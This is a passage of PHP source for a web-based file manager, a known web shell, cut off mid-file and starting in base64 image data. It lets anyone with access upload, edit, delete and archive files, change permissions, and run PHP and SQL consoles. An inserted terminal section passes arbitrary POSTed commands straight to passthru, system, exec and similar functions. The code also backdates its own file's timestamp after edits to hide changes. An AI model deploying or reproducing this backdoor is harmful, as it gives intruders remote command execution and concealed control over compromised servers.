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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
